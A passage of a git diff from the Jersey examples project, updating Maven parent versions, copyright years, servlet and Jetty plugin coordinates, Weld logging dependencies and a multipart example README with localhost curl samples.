-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
     <artifactId>helloworld-spring-annotations</artifactId>
@@ -82,7 +82,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
         </dependency>
     </dependencies>
 
diff --git a/examples/helloworld-spring-webapp/pom.xml b/examples/helloworld-spring-webapp/pom.xml
index 81d3514..10dc728 100644
--- a/examples/helloworld-spring-webapp/pom.xml
+++ b/examples/helloworld-spring-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -25,7 +25,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-spring-webapp</artifactId>
@@ -87,7 +87,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
         </dependency>
 
         <dependency>
@@ -119,8 +119,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" to deploy to Jetty-->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/helloworld-spring-webapp</contextPath>
diff --git a/examples/helloworld-webapp/pom.xml b/examples/helloworld-webapp/pom.xml
index f0ad725..13db2fa 100644
--- a/examples/helloworld-webapp/pom.xml
+++ b/examples/helloworld-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-webapp</artifactId>
@@ -32,7 +32,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
 <!--            <scope>provided</scope> Make this provided for jetty:run -->
         </dependency>
 
@@ -60,8 +59,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" to deploy to Jetty-->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/helloworld-webapp</contextPath>
diff --git a/examples/helloworld-weld/pom.xml b/examples/helloworld-weld/pom.xml
index a5ce51c..032b6f8 100644
--- a/examples/helloworld-weld/pom.xml
+++ b/examples/helloworld-weld/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld-weld</artifactId>
@@ -60,6 +60,18 @@
         <dependency>
             <groupId>org.jboss.weld.se</groupId>
             <artifactId>weld-se-core</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.jboss.logging</groupId>
+                    <artifactId>jboss-logging</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.jboss.logging</groupId>
+            <artifactId>jboss-logging</artifactId>
+            <version>${jboss.logging.version}</version>
+            <scope>provided</scope>
         </dependency>
 
         <dependency>
diff --git a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
index 5d361e9..77e336a 100644
--- a/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
+++ b/examples/helloworld-weld/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -11,4 +11,9 @@
 
 -->
 
-<beans/>
+<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+       xmlns="http://xmlns.jcp.org/xml/ns/javaee"
+       xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
+                           http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd"
+       bean-discovery-mode="all">
+</beans>
diff --git a/examples/helloworld/pom.xml b/examples/helloworld/pom.xml
index b99c2ef..b3e0c92 100644
--- a/examples/helloworld/pom.xml
+++ b/examples/helloworld/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>helloworld</artifactId>
diff --git a/examples/http-patch/pom.xml b/examples/http-patch/pom.xml
index 567d9ad..40d2196 100644
--- a/examples/http-patch/pom.xml
+++ b/examples/http-patch/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-patch</artifactId>
diff --git a/examples/http-trace/pom.xml b/examples/http-trace/pom.xml
index 0026193..d0a0074 100644
--- a/examples/http-trace/pom.xml
+++ b/examples/http-trace/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>http-trace</artifactId>
diff --git a/examples/https-clientserver-grizzly/pom.xml b/examples/https-clientserver-grizzly/pom.xml
index 1ff6f66..65c331f 100644
--- a/examples/https-clientserver-grizzly/pom.xml
+++ b/examples/https-clientserver-grizzly/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-clientserver-grizzly</artifactId>
@@ -58,6 +58,12 @@
             <artifactId>junit-jupiter</artifactId>
             <scope>test</scope>
         </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+            <scope>runtime</scope>
+        </dependency>
+
     </dependencies>
 
     <build>
@@ -74,23 +80,6 @@
 
     <profiles>
         <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
-            </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                    <scope>runtime</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>pre-release</id>
             <build>
                 <plugins>
@@ -103,4 +92,9 @@
         </profile>
     </profiles>
 
+    <properties>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+    </properties>
+
 </project>
diff --git a/examples/https-server-glassfish/pom.xml b/examples/https-server-glassfish/pom.xml
index 1273186..2698b57 100644
--- a/examples/https-server-glassfish/pom.xml
+++ b/examples/https-server-glassfish/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>https-server-glassfish</artifactId>
diff --git a/examples/java8-webapp/pom.xml b/examples/java8-webapp/pom.xml
index 25d7e1b..56ecf83 100644
--- a/examples/java8-webapp/pom.xml
+++ b/examples/java8-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>java8-webapp</artifactId>
@@ -53,8 +53,8 @@
             </plugin>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <stopWait>5</stopWait>
                     <stopPort>9999</stopPort>
diff --git a/examples/jaxb/pom.xml b/examples/jaxb/pom.xml
index 4430309..760d831 100644
--- a/examples/jaxb/pom.xml
+++ b/examples/jaxb/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxb</artifactId>
diff --git a/examples/jaxrs-types-injection/pom.xml b/examples/jaxrs-types-injection/pom.xml
index 63e5a87..16ce7b0 100644
--- a/examples/jaxrs-types-injection/pom.xml
+++ b/examples/jaxrs-types-injection/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jaxrs-types-injection</artifactId>
diff --git a/examples/jersey-ejb/pom.xml b/examples/jersey-ejb/pom.xml
index 83d4303..6126e23 100644
--- a/examples/jersey-ejb/pom.xml
+++ b/examples/jersey-ejb/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-ejb</artifactId>
diff --git a/examples/json-binding-webapp/pom.xml b/examples/json-binding-webapp/pom.xml
index 7251947..2c17250 100644
--- a/examples/json-binding-webapp/pom.xml
+++ b/examples/json-binding-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-binding-webapp</artifactId>
diff --git a/examples/json-jackson/pom.xml b/examples/json-jackson/pom.xml
index 4f27b73..904cefe 100644
--- a/examples/json-jackson/pom.xml
+++ b/examples/json-jackson/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/examples/json-jackson1/pom.xml b/examples/json-jackson1/pom.xml
deleted file mode 100644
index e69de29..0000000
--- a/examples/json-jackson1/pom.xml
+++ /dev/null
diff --git a/examples/json-jettison/pom.xml b/examples/json-jettison/pom.xml
index b59825a..454e4dd 100644
--- a/examples/json-jettison/pom.xml
+++ b/examples/json-jettison/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jettison</artifactId>
diff --git a/examples/json-moxy/pom.xml b/examples/json-moxy/pom.xml
index 1424646..bf329e9 100644
--- a/examples/json-moxy/pom.xml
+++ b/examples/json-moxy/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/examples/json-processing-webapp/pom.xml b/examples/json-processing-webapp/pom.xml
index ddbf757..9cb069b 100644
--- a/examples/json-processing-webapp/pom.xml
+++ b/examples/json-processing-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-processing-webapp</artifactId>
@@ -50,8 +50,8 @@
     <build>
         <plugins>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/examples/json-with-padding/pom.xml b/examples/json-with-padding/pom.xml
index 836cea3..f9aadcf 100644
--- a/examples/json-with-padding/pom.xml
+++ b/examples/json-with-padding/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-with-padding</artifactId>
diff --git a/examples/managed-beans-webapp/pom.xml b/examples/managed-beans-webapp/pom.xml
index 700bf51..39a2a31 100644
--- a/examples/managed-beans-webapp/pom.xml
+++ b/examples/managed-beans-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-beans-webapp</artifactId>
diff --git a/examples/managed-client-simple-webapp/pom.xml b/examples/managed-client-simple-webapp/pom.xml
index b0c44ce..01bf6b3 100644
--- a/examples/managed-client-simple-webapp/pom.xml
+++ b/examples/managed-client-simple-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-simple-webapp</artifactId>
@@ -36,8 +36,8 @@
     <build>
         <plugins>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/managed-client-simple-webapp/</contextPath>
diff --git a/examples/managed-client-webapp/pom.xml b/examples/managed-client-webapp/pom.xml
index 84d614d..2c46380 100644
--- a/examples/managed-client-webapp/pom.xml
+++ b/examples/managed-client-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client-webapp</artifactId>
@@ -48,8 +48,8 @@
     <build>
         <plugins>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <webApp>
                         <contextPath>/managed-client-webapp/</contextPath>
diff --git a/examples/managed-client/pom.xml b/examples/managed-client/pom.xml
index 573177b..589b75b 100644
--- a/examples/managed-client/pom.xml
+++ b/examples/managed-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>managed-client</artifactId>
diff --git a/examples/micrometer/pom.xml b/examples/micrometer/pom.xml
index b536662..aa31d43 100644
--- a/examples/micrometer/pom.xml
+++ b/examples/micrometer/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-micrometer-webapp</artifactId>
diff --git a/examples/multipart-webapp/README.MD b/examples/multipart-webapp/README.MD
index 672fda0..ef421c2 100644
--- a/examples/multipart-webapp/README.MD
+++ b/examples/multipart-webapp/README.MD
@@ -1,4 +1,4 @@
-[//]: # " Copyright (c) 2015, 2020 Oracle and/or its affiliates. All rights reserved. "
+[//]: # " Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved. "
 [//]: # " "
 [//]: # " This program and the accompanying materials are made available under the "
 [//]: # " terms of the Eclipse Distribution License v. 1.0, which is available at "
@@ -10,20 +10,23 @@
 =========================
 
 This example demonstrates how to develop RESTful web service with
-demonstrating JAX-RS Integration with MIME MultiPart Message Formats and
-an Jakarta EE 9 compliant Web container.
+demonstrating Jakarta-REST Integration with MIME MultiPart Message Formats and
+a Jakarta EE 9 compliant Web container.
+
+Please see also comparable example demonstrating usage of Jakarta REST 3.1 API for
+MIME MultiPart Message Formats (JERSEY_ROOT/examples/rest31-sebootstrap-multipart)
 
 Contents
 --------
 
 The mapping of the URI path space is presented in the following table:
 
-URI path                     | Description                                    | Sample request using curl
----------------------------- | ---------------------------------------------- | -----------------------------------------------------------------------------------------------
-**_/form/part_**             | POST message returning entire string           | `curl -X POST -F "part=part1"  http://localhost:8080/multipart-webapp/form/part`
-**_/form/part-file-name_**   | POST message returning part filename string.   | Be sure to execute this curl from project directory where pom.xml resides
-                             |                                                | `curl -X POST -F "part=@pom.xml"  http://localhost:8080/multipart-webapp/form/part-file-name`
-**_/form/xml-jaxb-part_**    | POST message returning xml jaxb part string.   | No curl sample available, please check test sources.
+ URI path                   | Description                                  | Sample request using curl
+----------------------------|----------------------------------------------| -----------------------------------------------------------------------------------------------
+ **_/form/part_**           | POST message returning entire string         | `curl -X POST -F "part=part1"  http://localhost:8080/multipart-webapp/form/part`
+ **_/form/part-file-name_** | POST message returning part filename string. | Be sure to execute this curl from project directory where pom.xml resides
+|                           |                                              | `curl -X POST -F "part=@pom.xml"  http://localhost:8080/multipart-webapp/form/part-file-name`
+ **_/form/xml-jaxb-part_**  | POST message returning xml jaxb part string. | No curl sample available, please check test sources.
 
 Running the Example
 -------------------
@@ -32,4 +35,4 @@
 
 > `mvn clean package jetty:run`
 
-Following steps are using [cURL](http://curl.haxx.se/) command line tool:
\ No newline at end of file
+The sample requests are using [cURL](http://curl.haxx.se/) command line tool.
\ No newline at end of file
diff --git a/examples/multipart-webapp/pom.xml b/examples/multipart-webapp/pom.xml
index 06b3afa..2d39845 100644
--- a/examples/multipart-webapp/pom.xml
+++ b/examples/multipart-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>multipart-webapp</artifactId>
@@ -50,8 +50,8 @@
     <build>
         <plugins>
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/examples/oauth-client-twitter/pom.xml b/examples/oauth-client-twitter/pom.xml
index 1cac7ba..bcaf015 100644
--- a/examples/oauth-client-twitter/pom.xml
+++ b/examples/oauth-client-twitter/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -15,7 +15,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.examples</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java b/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
index 5d39bde..e0b6f77 100644
--- a/examples/oauth-client-twitter/src/main/java/org/glassfish/jersey/examples/oauth/twitterclient/App.java
